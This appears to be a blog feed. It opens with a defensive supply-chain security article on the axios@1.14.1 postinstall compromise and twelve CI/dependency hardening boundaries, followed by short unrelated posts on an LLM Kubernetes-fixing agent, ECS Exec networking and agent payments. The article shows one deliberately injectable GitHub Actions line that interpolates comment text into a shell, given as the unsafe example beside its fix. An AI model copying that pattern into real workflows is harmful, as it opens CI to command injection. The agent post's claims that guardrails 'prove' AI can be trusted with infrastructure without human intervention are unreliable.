axios@1.14.1 added one new transitive dependency (a dependency-of-a-dependency, pulled in indirectly): plain-crypto-js@4.2.1. That package's postinstall script, a hook the package manager runs automatically after install, the canonical Node footgun, with analogues in pip's setup.py build hooks, Ruby's gem extconf, and Cargo's build.rs ran node setup.js, which downloaded a Python-based RAT (Remote Access Trojan) from a C2 (command-and-control) server, exfiltrated environment variables and cloud credentials, and attempted to establish persistence on the build host. The compromise wouldn't have been visible to anyone glancing at the lockfile diff. A new transitive in a stable utility, the kind of churn most teams approve without thinking.

Three hours is forever in CI. By the time npm pulled the version, the bytes had already shipped to thousands of build hosts.

Two weeks before that incident, I was reading through a workflow in our own repo that lets engineers trigger an LLM code review by commenting /review on a pull request. I stopped on this line:

# .github/workflows/opencode-review.yml:108
COMMENT_BODY="${{ github.event.comment.body || '' }}"

Two attacks, very different mechanics. axios was a credential-theft → publish → postinstall chain at the registry boundary. The CWE-78 was a comment-string interpolation at the workflow boundary. The connection: in both cases the attacker didn't write code "in" the repo. They injected code by abusing a trust relationship we trusted axios's npm releases; we trusted GitHub event input. The perimeter is no longer your application. It's everything that runs before, during, and after your build, and the defense has to live in those same places.

Where the attack surface actually lives now

Your application's attack surface is bounded. A handful of endpoints, an auth system, a database. You can audit it, pen-test it, threat-model it on a whiteboard in an afternoon.

The math doesn't work in your favour. A typical mid-sized application resolves on the order of 1,000–3,000 transitive dependencies in its lockfile (the resolved-versions file your package manager writes package-lock.json, Pipfile.lock, Cargo.lock, Gemfile.lock, go.sum). A typical CI pipeline chains 10–30 third-party Actions / plugins. Across a multi-year horizon, the probability that none of those maintainers gets phished, social-engineered or leaks a publish token approaches zero.

Recent incidents to anchor frequency:

2018: event-stream (npm advisory 737): maintainer handed package to a malicious "helpful contributor" who added a payload in a sub-dependency. Targeted exfiltration of private keys from the Copay/copay-dash Bitcoin wallet specifically conditional payload, no effect on other consumers.
2021: ua-parser-js: npm account takeover. Crypto miner and credential theft on every install. ~4 hours before takedown.
2021: codecov bash uploader (CVE-2021-32699): modified upload script harvested CI environment variables. HashiCorp, Twilio, Confluent affected.
2022: node-ipc (CVE-2022-23812): maintainer protestware. Wiped files on Russian and Belarusian IPs.
2024: xz-utils (CVE-2024-3094): multi-year insider. The "Jia Tan" persona spent ~2 years building trust before merging an OpenSSH authentication backdoor via liblzma linkage with a specific Ed448 key. Discovered by Postgres engineer Andres Freund investigating ~500 ms of sshd login latency, before the affected versions reached most stable distributions.
2024: @solana/web3.js (GHSA-7493-mqf3-cv5g): npm token compromise. Wallet drainer in published versions for ~5 hours.
2025: tj-actions/changed-files (CVE-2025-30066): chained through reviewdog/action-setup (CVE-2025-30154) → stolen PAT → retroactive semver-tag rewrite. ~218 repos confirmed leaked secrets out of ~23,000 references per StepSecurity / Wiz post-incident telemetry.
2025: Shai-Hulud npm worm: the first true self-replicating npm worm. A postinstall harvested maintainer npm tokens and re-published the worm into every other package the victim maintained. ~180 packages compromised across multiple maintainer namespaces.
2025: Nx s1ngularity worm: npm postinstall on compromised Nx versions harvested GitHub PATs, SSH keys, and crypto wallets from build hosts; backdoored downstream nx-init- repositories. Directly relevant to anyone on an Nx monorepo.
2026: axios@1.14.1: as above.

The twelve boundaries

Phase 1 Source-side: what enters your repo

Boundary 1: Source → Repository (Who can write to `main`?)

The forge-level (GitHub / GitLab / Bitbucket / Gerrit) primitives differ; the rule is identical: humans cannot push to main; only the merge bot can, and only after policy passes.

Boundary 2: Maintainer → Package (Is this dependency safe?)

Threat: typosquats, dependency confusion (publishing a public package whose name shadows a private one, tricking the resolver), maintainer compromise. axios@1.14.1 is the canonical example of the third published from a stolen credential, malicious for three hours, gone afterwards.

Controls registry-time:

Pin to immutable identifiers. Lockfile committed; exact-version constraints; no caret/tilde ranges in production dependencies; pnpm install --frozen-lockfile (or npm ci, pip install --require-hashes, cargo --frozen --locked, mvn -B verify, bundle install --frozen, dotnet restore --locked-mode) in CI. The general invariant: every dependency entry resolves to a content-addressed artifact, not a URL.
Cooldown on freshly published versions. Reject packages younger than N days, on the premise that fresh-publish malware is detected and yanked within 24–72 hours. The premise has limits xz-utils ran for ~2 years undetected so this control buys hours-to-days of latency, not certainty.

   # pnpm-workspace.yaml value is in minutes; 4320 min = 72 h = 3 days
   minimumReleaseAge: 4320

Provenance. Where available, prefer packages published with provenance attestations. npm publish --provenance (since npm 9.5) records a signed Sigstore provenance entry binding the published tarball to the GitHub Actions workflow that built it. PyPI Trusted Publishers + PEP 740 attestations are the Python equivalent. Maven Central PGP signatures + sigstore-maven-plugin for Java. Provenance doesn't stop a credential-theft attack like axios the malicious workflow would still produce a signed entry but it gives forensics a starting point.

Boundary 3: Registry → Lockfile (Is the resolved artifact what we think it is?)

Threat: registry compromise, off-registry tarballs without integrity, mid-flight tampering.

Controls: lockfile committed; integrity hash (sha512:, sha256:, OCI digest) on every entry; CI install command refuses to mutate the lockfile. Easy thing to miss: a lockfile entry like tarball: https://cdn.somehost.com/foo.tgz without an integrity: field is functionally latest. Audit yours for entries where the hash field is empty or pointing to a URL the registry doesn't verify.

# tools/scripts/verify-supply-chain.sh runs in CI
# Fails if the lockfile contains any off-registry tarball not on this allowlist.
EXPECTED_TARBALLS=(
  "https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz"  # SheetJS withdrew xlsx from npm in 2023
)

Boundary 4: Install → Lifecycle scripts (What runs on install?)

Threat: malicious lifecycle hooks. The axios attack's payload ran here. plain-crypto-js@4.2.1's entire malicious behaviour was a postinstall: node setup.js. Without that hook, the package would have sat on disk doing nothing until something require()'d it and axios doesn't import plain-crypto-js. The postinstall was the only thing that turned a passive disk write into RCE during install.

Controls:

Default-deny on install scripts, allowlist of who may run them:

   {
     "pnpm": {
       "onlyBuiltDependencies": [
         "esbuild",
         "@swc/core",
         "@datadog/native-iast-taint-tracking",
         "prisma"
       ]
     }
   }

Behavioural quarantine. Socket and Phylum analyse new transitives for suspicious patterns (network calls, file-system access, dynamic eval) before they reach your lockfile. npq wraps npm install to prompt before installing freshly published packages. None of these would catch a sufficiently subtle payload, but plain-crypto-js's node setup.js → C2 download is exactly the shape they flag.
Build-host sandboxing. Run installs inside an ephemeral container with no network egress except to the registry; or use Bubblewrap / Firejail / Chainguard's hardened images. Defence-in-depth for the case where the lifecycle gate fails open.

Stack equivalents: pip's risky surface is setup.py install hooks (mitigate with --only-binary=:all:); Ruby's is gem install running extconf.rb; Cargo's is build.rs (sandbox via Bazel rules_rust or cargo-deny bans); .NET's modern PackageReference does not run scripts (legacy packages.config does); Maven and Gradle's are build plugins (audit <build><plugins> and buildscript { dependencies }).

Phase 2 Build-side: what runs during your build

Boundary 5: Source → Image (Is our build environment trustworthy?)

Threat: base image tag rewrite, secrets baked into image layers.
Controls:

Pin every FROM by @sha256:<digest>. Tags are mutable; digests are content-addressed (the SHA changes if the bytes change, so a rewrite is detectable).

   FROM node:20.11.1-alpine3.19@sha256:735dd688da64d22ebd9... AS base
   USER node
   CMD ["node", "dist/main.js"]

Drop privileges with USER before CMD. For Node images: USER node. For nginx: switch to nginxinc/nginx-unprivileged (drop-in non-root replacement listening on 8080).
Never put secrets in ARG defaults they persist in docker history. Use BuildKit --mount=type=secret for build-time secrets.
Hermetic builds for the highest tier. Bazel rules_oci, Nix dockerTools, Chainguard's apko + melange produce reproducible images where every byte is content-addressed back to source. Overkill for most teams; required for SLSA L3+.

Boundary 6: Image → Registry (Can downstream verify what we shipped?)

Threat: image tag rewrite at the registry; image swap; "did we actually ship this build?" forensics gap.

Verify with workflow-path anchoring, not a loose org regex:

cosign verify <image>@<digest> \
  --certificate-identity-regexp "^https://github\.com/yourorg/yourrepo/\.github/workflows/release\.yml@refs/heads/main$" \
  --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
  --certificate-github-workflow-repository "yourorg/yourrepo" \
  --certificate-github-workflow-ref "refs/heads/main"

Stack-agnostic: cosign works on any container image registry (ECR, GHCR, ACR, GAR, Harbor, Artifactory, Quay) and on generic blobs via cosign sign-blob. Sigstore Fulcio currently trusts OIDC issuers from GitHub, GitLab, Buildkite, CircleCI, Google, Microsoft same cosign sign --identity-token flow, different iss claim. PEP 740 attestations + python -m sigstore cover Python wheels; sigstore-maven-plugin covers Java JARs.

Boundary 7: Tag → Commit (What does this `uses:` / include / plugin actually point to?)

Controls: pin every external uses: to a 40-character commit SHA with a tag comment.

- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
- uses: pulumi/actions@8582a9e8cc630786854029b4e09281acd6794b58 # v6

Enforce in CI with pinact run --check --verify. It fails the PR if anything is unpinned, and flags drift between the pinned SHA and the SHA the upstream tag currently resolves to. It catches inadvertent drift. It does not by itself defeat a tag-rewrite attack pinact will surface the mismatch but cannot tell you which side is hostile. Pair it with a higher-trust signal: Sigstore attestation verification, GitHub's gh attestation verify for Action artifacts (GA 2024), StepSecurity Harden-Runner for egress-policy + tampering detection on the runner, or human review of any flagged drift.

Boundary 8: Workflow → Secrets (What can a single compromised step exfiltrate?)

Threat: any step in a workflow inherits the workflow's permissions and any environment-scoped secrets. A compromised Action running with permissions: write-all receives a GITHUB_TOKEN with write scopes across that repository's API surface contents, issues, pull requests, packages, deployments for the duration of that workflow run.

Controls: default-deny at workflow level, grant per-job:

permissions: {}

jobs:
  deploy:
    permissions:
      contents: read       # for checkout
      id-token: write      # for AWS OIDC

zizmor (free workflow-security linter) audits this on every PR. When we ran it the first time, 8 of our 16 workflows were running permissions: write-all. Today none of them do.

"Condition": {
  "StringEquals": {
    "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
  },
  "StringLike": {
    "token.actions.githubusercontent.com:sub": "repo:yourorg/yourrepo:ref:refs/heads/main"
  }
}

Boundary 9: Untrusted input → Shell (CWE-78 in CI)

Unsafe:

run: echo "Reviewing: ${{ github.event.comment.body }}"

Safe:

env:
  BODY: ${{ github.event.comment.body }}
run: echo "Reviewing: $BODY"

Phase 3 Runtime-side: what ships and what leaks

Boundary 10: Build host env → Client bundle (Whose secrets ship to the browser?)

We had this:

// vite.config.ts
define: {
  'process.env': process.env,   // TODO: fix this later
},

Safe:

define: {
  'process.env.PUBLIC_API_URL': JSON.stringify(process.env.PUBLIC_API_URL),
  // explicit allowlist; nothing implicit
},

Boundary 11: Runtime → Logs (Are your sinks an exfiltration channel?)

Controls: redaction at the framework level (not per call-site):

import pino from 'pino';

export const logger = pino({
  redact: {
    paths: [
      'req.headers.authorization',
      'req.headers.cookie',
      'config.headers.authorization',  // catches Axios errors
      '*.password', '*.token', '*.secret',
    ],
    censor: '[REDACTED]',
  },
});

The limit. pino redact is a denylist; it only scrubs the paths you list. Custom auth headers (x-api-key, x-vault-token), GraphQL variables.password, request.body.token, provider-specific shapes easy to miss. Audit your redact paths against the actual headers and body shapes your services see, and re-audit when you add an integration.

Boundary 12: Dependency → Patch (Can you fix a CVE without a registry round-trip?)

Threat: vulnerable transitive dependency, no maintainer response, can't wait.

Controls: force-pin the transitive with documented rationale and an expiry date:

{
  "pnpm": {
    "overrides": {
      "lodash-es": "4.17.23",
      "tar": "7.5.11"
    }
  }
}

{
  "ghsa": "GHSA-xxxx-yyyy-zzzz",
  "package": "the affected package",
  "severity": "high | critical",
  "rationale": "why this risk is accepted (must explain reachability or absence of fix)",
  "verified_by": "engineer email or handle",
  "added": "YYYY-MM-DD",
  "expires": "YYYY-MM-DD",  // max 90 days
  "follow_up": "what removes this entry"
}

CI fails when expires passes; the gate forces a re-decision rather than letting drift accumulate.

When prevention fails: the response side

Every boundary above is preventive. Some will fail. The question is what you do in the next four hours.

Prevention buys time for detection. Detection buys time for response. Get all three in writing before you need them.

What one week of focused work actually moved

Control	Before	After
Third-party Action SHA pinning	0% of 110 `uses:` lines	100% with `pinact` CI gate
Workflow `permissions: write-all`	8 of 16 workflows	0
Lockfile integrity coverage	99.97% (1 off-registry tarball, no `integrity:`)	99.97% + CI allowlist enforcement with rationale per off-registry entry
`minimumReleaseAge`	12 hours	3 days
Production Dockerfile USER directive	0 of 7 (all root)	7 of 7 (non-root)
Production base image digest pinning	0 of 7	7 of 7
Image signing	none	cosign keyless on every ECR push, workflow-path-anchored verify identity
PR-time secret scanning	pre-commit only (skippable)	pre-commit + CI (unskippable)
PR-time SAST	none	CodeQL `security-extended`
Workflow security audit	none	`actionlint` + `zizmor`
Dependency CVE gate	none	`pnpm audit --prod --audit-level high` with documented allowlist
SBOM generation	none	CycloneDX + SPDX on every push to main

The week wasn't a checklist. It was a sequence of specific findings, in the order I hit them:

Day 1: Boundary 7. Audit of .github/workflows/. Every external uses: was tag-pinned. Pinned all 110 to 40-character SHAs with tag comments. pinact run --check --verify added as required status check.
Day 1: Boundary 8. 8 of 16 workflows ran with permissions: write-all. Tightened to workflow-level permissions: {} plus per-job grants. zizmor added as the gate. First staging deploy broke because permissions: {} revealed an undeclared packages: read that a publish job had been silently inheriting through the old write-all. Caught in PR; one-line add to per-job permissions.
Day 2: Boundary 9. The opencode-review.yml:108 CWE-78 (the lede). Four-line fix.
Day 2: Boundary 10. apps/front/remote-homepage/vite.config.ts:30 had 'process.env': process.env, with a TODO comment. Every CI environment variable visible to the build host was being baked into the client bundle. Replaced with an explicit allowlist.
Day 3: Boundary 8. build-and-publish-service.yml lines 128 and 469: both Wiz container scan steps had continue-on-error: true || true. Doubly non-blocking. Two engineers had to reach for the keyboard to make those scans non-fatal. Removed both bypasses.
Day 3: Boundary 3. Lockfile audit found one off-registry tarball: https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz, in two lambda package.json files. Allowlisted with rationale (SheetJS withdrew xlsx from npm in 2023).
Day 4: Boundary 12. pnpm.overrides audit; the lodash story below.
Day 4: Boundary 2. minimumReleaseAge calibration: started at 720 minutes (12 hours), tried 10080 (7 days), got blocked by a postcss@8.5.12 patch published four days earlier, settled at 4320 (3 days).
Day 4: Boundary 5. Production Dockerfile sweep. 7 of 7 images ran as root. Added USER node; switched nginx-fronted images to nginxinc/nginx-unprivileged.
Day 5: Boundary 6. Cosign keyless signing on every ECR push. Branch protection updated to require all six new gates as status checks.

Five lessons that don't fit in a framework

1. The "patched version" you find in an advisory is not always the version you can ship.

I kept the terminal open and ran:

grep -rE '_\.template\(' apps/ libs/

Nothing. Across multiple projects, no production source called _.template. The vulnerable code path was unreachable.

The decision crystallised: allowlist with documented rationale, three-month expiry, named follow-up to migrate off lodash entirely.

2. Aggressive controls block legitimate fixes. Calibrate, don't posture.

Started at minimumReleaseAge: 10080 (7 days, pnpm's recommended baseline). Within the hour it blocked postcss@8.5.12, a CVE patch published four days earlier. Dropped to 3 days.

3. Detection without enforcement is not security.

Moving those gates into PR-time required-status-checks (same tools, same configurations, just required: true in branch protection) was, in my judgment, the largest delta in actual risk reduction over the week. It's a judgment, not a measurement we don't have a counterfactual. Take it as senior intuition.

4. The blast radius of a CI compromise is usually larger than any application bug.

5. These controls assume a clean threat model. Both halves of that assumption fail.

Most of the controls above assume the attacker is outside your org and your developers' laptops are clean. Both fail in roughly half the supply-chain incidents I've seen written up. xz-utils is the canonical maintainer-side case: a multi-year insider with valid signed commits every Phase 1 control passes. A compromised developer endpoint with a valid signed-commit identity bypasses CODEOWNERS, branch protection, and most of Phase 1. Endpoint posture and maintainer-identity verification are their own conversations. When you decide what to ship next, factor them in.

Process and culture

Tools alone don't get you there. The process around them ends up doing more of the work than I'd expected. Three patterns that bound everything else:

CODEOWNERS on every supply-chain surface. Required reviewer on every workflow file, Dockerfile, dependency manifest, override file, and audit-allowlist.json itself. Humans catch what static analysis can't see (intent, weird ownership, deprecated-but-popular packages); machines catch the rest.
Allowlists with expiry, never silent ignores. Every accepted risk has rationale, verifier, and a date when it stops being accepted. CI fails at expiry and forces a re-decision rather than letting drift accumulate.
Default-deny as engineering culture. permissions: {} at workflow level. Empty Dockerfile USER rejected. New dependency needs CODEOWNERS approval. Off-registry tarball needs written rationale. The friction surfaces decisions that would otherwise stay implicit.

What you can ship alone vs. what needs platform

Translation table: the boundaries in your stack

This article uses pnpm + GitHub Actions because that's where I shipped the work. The boundaries don't care about the YAML.

Boundary	pnpm/JS	Python	Java/Maven	Go	Rust	Ruby	.NET
2. Pin to immutable identifier	`package.json` exact + `pnpm install --frozen-lockfile`	`pip-compile --generate-hashes` + `--require-hashes`; or `poetry install --no-update`; or `uv sync --frozen --locked`	`mvn-dependency-lock-plugin` + `dependencies.lock`	`go.sum` + `GOFLAGS=-mod=readonly`	`Cargo.lock` + `cargo --frozen --locked`	`Gemfile.lock` + `bundle config set frozen true`	`packages.lock.json` + `dotnet restore --locked-mode`
2. Cooldown on fresh publishes	`minimumReleaseAge` (pnpm-native)	Renovate `minimumReleaseAge` (covers PyPI); commercial: Socket, Phylum	Renovate (covers Maven Central)	Renovate (covers Go modules) + `govulncheck`	Renovate; `cargo-deny [advisories] yanked = "deny"`	Renovate; `bundler-audit`	Renovate
3. Lockfile integrity	`integrity: sha512:...` per entry	hash via `--require-hashes`; Poetry `content-hash`	Gradle `verification-metadata.xml`; Maven `--strict-checksums`	`go.sum` + `sum.golang.org`	Cargo lockfile checksums (built-in)	`bundle config set verify_files true`	`dotnet trust` for signed packages
4. Lifecycle script gate	`onlyBuiltDependencies` + `--ignore-scripts`	`pip install --only-binary=:all:`	audit `<build><plugins>` + checksum-pin them	`cgo` / `//go:generate` controlled via Bazel/Nix sandbox	`build.rs` sandboxed via Bazel `rules_rust` or `cargo-deny` bans	`bundle config force_ruby_platform true` to skip native; or sandbox	PackageReference (modern) doesn't run scripts; audit any `packages.config` projects
5. Base image digest pin	`FROM image:tag@sha256:...` (any Dockerfile, any language)	same	same	same	same	same	same
6. Image signing	cosign + Sigstore (any registry, any image)	same; PEP 740 attestations + `sigstore` for wheels	same; `sigstore-maven-plugin` for JARs	same; `slsa-github-generator/builder-go` for SLSA	`cargo-dist` + Sigstore	same	`dotnet nuget sign`; NuGet signature verification
7. CI mutable-ref pin	`uses: org/action@<sha>`; `pinact` enforce	(Python doesn't have an "Actions" concept; this is CI-platform, not language)	same	same	same	same	same
8. Default-deny permissions	GHA `permissions: {}`	(CI-platform; see CI table below)	same	same	same	same	same
11. Logger redaction	pino `redact:`	`structlog` processors + `logging.Filter`	Logback `MaskingPatternLayout`	`zap` custom encoder; `zerolog` `.Strs("redacted", ...)`	`tracing` `Layer`	`Rails.config.filter_parameters`	Serilog `Enrichers.Sensitive`
12. Force-pin transitive	`pnpm.overrides`	pip `constraints.txt`; uv `[tool.uv] override-dependencies`; Poetry → promote to direct	Maven `<dependencyManagement>`; Gradle `dependencySubstitution`	`replace` directive in `go.mod`	`[patch.crates-io]` in `Cargo.toml`	Direct `gem 'foo', '1.2.3'` in `Gemfile`	`Directory.Packages.props` central management

CI translations for Boundaries 5–9:

	GitHub Actions	GitLab CI	Buildkite	CircleCI	Jenkins	AWS CodeBuild
Mutable-ref pin (B7)	`uses: org/action@<sha>` + `pinact`	`include: ref: <sha>` + Renovate `gitlabci-include`	Plugin `@<sha>` + Renovate `buildkite`	Inline orbs; or pin `orbs: foo/bar@<exact-version>`	`@Library('foo@<sha>')`	Pre-mirrored installers + checksum verify in `pre_build`
Default-deny perms (B8)	`permissions: {}`	`id_tokens:` per-job; protected variables	Agent-queue ACLs; secrets via Vault Agent	Restricted contexts	`withCredentials` per-step; folder-level isolation	Per-project IAM role; `SECRETS_MANAGER` vars
OIDC trust (B8)	`sub`/`job_workflow_ref` anchored	`CI_JOB_JWT_V2` audience-bound	OIDC plugin since 2023	`circleci/oidc-orb`	Workload identity / `manage-credentials-binding-plugin`	`aws sts assume-role-with-web-identity`
Shell injection (B9)	`actionlint` + `zizmor`	`glab ci lint`; `semgrep p/ci`	`buildkite-pipeline-lint`	`circleci config validate`	Pipeline Linter; `pipeline-utility-steps`	`cfn-lint` + `checkov`
Image signing identity (B6)	OIDC issuer `token.actions.githubusercontent.com`	`CI_JOB_JWT_V2` issuer	Buildkite OIDC issuer	`oidc.circleci.com`	OIDC via plugin or workload identity	CodeBuild OIDC tokens

Cross-cutting tools, alphabetical:

Audit (CVE in deps): pnpm/npm audit → pip-audit (Python), mvn dependency-check:check or Gradle dependencyCheckAnalyze (Java), govulncheck (Go, symbol-aware reachability), cargo audit + cargo-deny (Rust), bundler-audit (Ruby), dotnet list package --vulnerable --include-transitive (.NET). Cross-stack: OSV-Scanner (Google; OSV format covers all of the above), Snyk Open Source, Wiz, Socket.
Cosign: ecosystem-agnostic. Works on any container image and on generic blobs.
gitleaks: stack-agnostic. Alternatives: trufflehog, detect-secrets, GitHub native push protection. Run several; they catch different things.
CodeQL: native multi-language (JS/TS, Python, Java, Kotlin, Go, Ruby, C#, C/C++, Swift). Alternatives: Semgrep Pro (broadest), Snyk Code, SonarCloud, Veracode.
minimumReleaseAge: native in pnpm. Universal via Renovate (minimumReleaseAge config) covers npm, Maven, PyPI, Go, Cargo, NuGet, RubyGems, Helm, Docker, GH Actions, Terraform.
SBOM: syft is stack-agnostic. Per-stack: cyclonedx-bom (Python), cyclonedx-maven-plugin (Java), cyclonedx-gomod (Go), cargo cyclonedx (Rust), bundler-cyclonedx (Ruby), dotnet CycloneDX (.NET). Consume with Dependency-Track; scan with Trivy or Grype.

The boundary survives. The YAML changes.

Closing

That grep took eleven seconds. The fix took four lines. The control that catches the next one was one commit.

If you only take three things from this: pin every external CI reference (Action / include / plugin / orb / shared-library) to a content-addressed identifier; scope every CI permission block to least privilege; set a minimumReleaseAge of at least 3 days on your package manager. Put the first two as required status checks on main. Together they would have stopped axios@1.14.1 cold for any pipeline running them, and tj-actions cold for every repo that ran it. The other nine boundaries are the layers behind that.

Appendix: minimal viable starter pack

A team that has none of these in place can ship a meaningful subset in roughly a week, regardless of stack:

Lock manifests committed; CI install command refuses to mutate them.
minimumReleaseAge (pnpm) or Renovate equivalent set to ≥ 3 days.
Lifecycle-script default-deny: pnpm.onlyBuiltDependencies allowlist + --ignore-scripts in CI; equivalent gate per stack.
Base images pinned by @sha256: digest. Non-root USER in every production image.
Workflow / pipeline default-deny on permissions; per-job grants.
Mutable references (uses:, include:, plugins, orbs, shared libs) pinned to commit SHAs; CI gate fails un-pinned PRs.
Untrusted CI input passed via env vars, never interpolated into shell.
Image signing via cosign + Sigstore (or stack-equivalent provenance).
PR-time secret scanning (gitleaks / trufflehog).
PR-time dependency CVE gate (pnpm audit + per-stack equivalents above) with documented expiry-forced allowlist.
Logger redaction at framework level for auth headers, cookies, password / token / secret keys.
CODEOWNERS covering every file in this list.

How I Built an Autonomous SRE (and made it into the OpenAI Cookbook!)

Zaynul Abedin Miah — Fri, 08 May 2026 11:46:40 +0000

Taming GPT-4o for Production EKS

Let’s be brutally honest for a second: the idea of letting an LLM blindly run kubectl apply on your production AWS EKS cluster is terrifying.

It is the stuff of late-night DevOps nightmares. One rogue hallucination, an accidental namespace change, or a sudden ClusterRoleBinding injection, and your entire infrastructure could be compromised.

As an AWS Community Builder and AWS Student Builder Group Leader managing developer ecosystems in the Global South, I see developers rushing to integrate GenAI into their pipelines every day. But zero-shot LLM generation for live infrastructure isn't just risky it's mathematically unsafe.

I call this the "Infrastructure Hallucination" problem.

To solve this, I built Kube-AutoFix: an autonomous Kubernetes debugging agent that acts as a Staff-Level SRE. It doesn’t just guess; it deploys, monitors, debugs, and mathematically validates its fixes. The architecture proved so resilient that it successfully passed a grueling security review by the OpenAI Codex bot and was officially merged into the OpenAI Cookbook.

Here is exactly how I built it, and the guardrails you need to start building safe agentic workflows.

The 'Infrastructure Hallucination' Problem

When standard LLMs attempt Infrastructure as Code (IaC), they fail gracefully, which is the most dangerous kind of failure.

They will confidently generate YAML that looks perfect but contains fatal flaws:

Syntax Hallucinations: Adding random markdown fences (yaml) inside the execution pipeline.
Scope Creep: Deciding your deployment needs a new ServiceAccount with elevated privileges just because it saw a similar pattern in its training data.
Destructive State Changes: Modifying core invariants like the Namespace or overriding Replica counts during a hotfix.

You cannot pipe probabilistic text generation directly into a deterministic system like AWS EKS without a strict translation layer.

Enter Kube-AutoFix & Structured Outputs

To bridge this gap, I designed a closed-loop Agentic Workflow: Deploy ➡️ Monitor ➡️ Debug ➡️ Fix.

The Tech Stack:

Python 3.11 (The glue)
Kubernetes Python Client (For raw cluster interaction)
AWS EKS (Amazon Elastic Kubernetes Service for testing)
OpenAI SDK (GPT-4o) (The reasoning engine)
Pydantic (The ultimate gatekeeper)

The secret sauce here is OpenAI’s Structured Outputs. By wrapping our expected YAML fix in a Pydantic schema, we force GPT-4o to adhere to a strict JSON schema at the API level. It stops acting like a creative writer and starts acting like a deterministic function.

But even Structured Outputs aren't enough for a production cluster. We need guardrails.

Building the Ultimate Guardrails (Surviving the OpenAI Code Review)

Getting a PR merged into the official OpenAI Cookbook is no walk in the park. The automated Staff-Level CI/CD review by the OpenAI Codex bot is unforgiving when it comes to system security.

To pass the review, I had to architect three massive guardrails into Kube-AutoFix:

1. Mathematical YAML Validation

LLMs love to wrap code in markdown (yaml). If you pass that to kubectl, it crashes. Kube-AutoFix intercepts the LLM's response, strips any hallucinated markdown formatting using regex, and strictly parses the string through yaml.safe_load_all(). If it isn't mathematically valid YAML, it never touches the cluster.

2. Deny-by-Default Architecture

Kube-AutoFix operates on a strict "Zero Trust" model. Before applying a fix, the agent parses the kind of Kubernetes resource the LLM is trying to deploy. If the LLM tries to sneak in a Role, ClusterRoleBinding, or DaemonSet when it was only authorized to fix a Deployment, the agent immediately rejects the payload.

3. Strict Structural Invariants

This was the final boss of the security review. How do you ensure the LLM fixes a crashing pod without altering the architecture? You lock the state. Kube-AutoFix extracts the original Namespace, Replica count, Deployment Name, and Container Ports from the failing cluster state and forces them onto the LLM's generated YAML. Even if GPT-4o hallucinates a scale-up to 50 replicas, Kube-AutoFix overrides it back to the original count before execution.

☁️ Why This Matters for AWS Builders

As an AWS Community Builder, I look at this pattern and see the future of cloud engineering.

The concepts driving Kube-AutoFix aren't limited to EKS and Kubernetes. This exact closed-loop, deterministic agentic pattern can (and should) be applied across the AWS ecosystem:

Amazon Bedrock: Wrapping your custom Foundation Models in Pydantic to generate safe, deployable AWS CloudFormation templates.
AWS CDK: Using agents to debug failing CDK synthesizer states and propose structurally validated TypeScript fixes.
Automated Incident Response: Hooking an agentic workflow into Amazon CloudWatch alarms to autonomously remediate CPU throttling without human intervention.

We are moving away from "AI that writes code" to "AI that safely operates infrastructure."

Conclusion

Seeing Kube-AutoFix PR reviewed into the OpenAI Cookbook was a massive milestone. It proves that with the right guardrails, we can trust AI with the keys to our infrastructure without losing sleep.

If you are a DevOps fanatic, or just curious about Agentic AI, I'd love for you to dig into the code!

🔗 Check out the source code here: Kube-AutoFix on GitHub

Let’s discuss in the comments: How are you currently integrating AI into your CI/CD or infrastructure pipelines? Are you using agents, or sticking strictly to code-generation assistants? Let me know! 👇

Why ECS Exec Fails on ECS Managed Instance and How to Fix It

Kosuke Ozawa — Fri, 08 May 2026 05:19:16 +0000

I hit an issue while testing ECS Managed Instance, so here's a quick note for future reference.

ECS Exec Fails on a Task Container Running on ECS Managed Instance in a Public Subnet

If you deploy this setup in a public subnet without any special network configuration and run the Exec command, you'll get the following error:

An error occurred (TargetNotConnectedException) when calling the ExecuteCommand operation: The execute command failed. TargetNotConnected: ecs:ecs-task_xxxxxxxxxxxxxxxx is not connected.

Network Considerations for ECS Managed Instance

The blog post linked below covers this in detail, but it appears that with ECS Managed Instance, you cannot assign a public IP to a task using assignPublicIp=ENABLE.

https://zenn.dev/gsk9999/articles/0da047d2cc3b59

When Task Instances Are Placed in a Public Subnet

Here is what you can do:

Create a VPC Endpoint

I confirmed this works with my own testing. However, for production use, the per-hour cost of VPC Endpoints is something to keep in mind.

When Task Instances Are Placed in a Private Subnet

The method above
Or route traffic to the internet via NAT Gateway

I haven't tested this myself, but since the route is established at the network level in this case, it should work in theory.

Summary

When using ECS Managed Instance, it's important to pay attention to networking.

This article doesn't go into detail on this, but the examples above assume awsvpc mode. Depending on your use case, switching the ECS network mode to bridge may also be an option.

For production environments where NAT Gateway or VPC Endpoints are already in place, going with the approach described in the linked blog post is probably the better choice. Note that the linked blog post is written in Japanese.

Agents that pay: why agent payments without governance is the next incident

Alexey Vidanov — Fri, 08 May 2026 04:40:14 +0000

The preview supports Coinbase CDP wallets and Stripe Privy wallets as payment connections, using the x402 protocol for HTTP-native stablecoin micropayments. Available in US East (N. Virginia), US West (Oregon), Europe (Frankfurt), and Asia Pacific (Sydney).

End users fund wallets through stablecoin or fiat via debit card, and must explicitly authorize agent wallet access before the agent can transact at all.

That's initial authorization, not per-action governance. The agent still decides what to do with that access at runtime.

That's the plumbing. It works. Here's what it doesn't cover.

Four gaps in agent payment governance

Gap 1: When is the agent allowed to pay?

AgentCore enforces per-session spending limits. But a spending limit is a ceiling, not a policy. There's no lifecycle enforcement that prevents an agent from paying during exploration, before it's decided what to do with the data.

The scenario: An agent exploring data sources pays $0.02 each to five different paid endpoints during its research phase. It doesn't yet know which source it needs. Three of those calls turn out to be irrelevant. The agent paid $0.06 for data it never used, and it hadn't even formed a plan yet. Nothing in the spending-limit model distinguishes "exploring options with someone else's money" from "executing a committed decision."

Even if AgentCore handles retry and rate limiting at the transport layer, a governance gap lives above transport: the agent chose to spend before it decided what to build. That's not a retry problem. That's a phase problem.

What's needed: phases. The agent can't call payment tools until it's finished reading and has committed to a plan. Not "shouldn't." Cannot. An exception fires.

EXPLORE ──→ DECIDE ──→ COMMIT
(read only)  (propose)  (pay + act)

Gap 2: What happens when a multi-step workflow fails after money moved?

Payments are irreversible. If an agent pays for data in step 1, then step 2 (analysis) fails, the user paid for nothing. The report never arrives. No compensation mechanism exists at the orchestration layer.

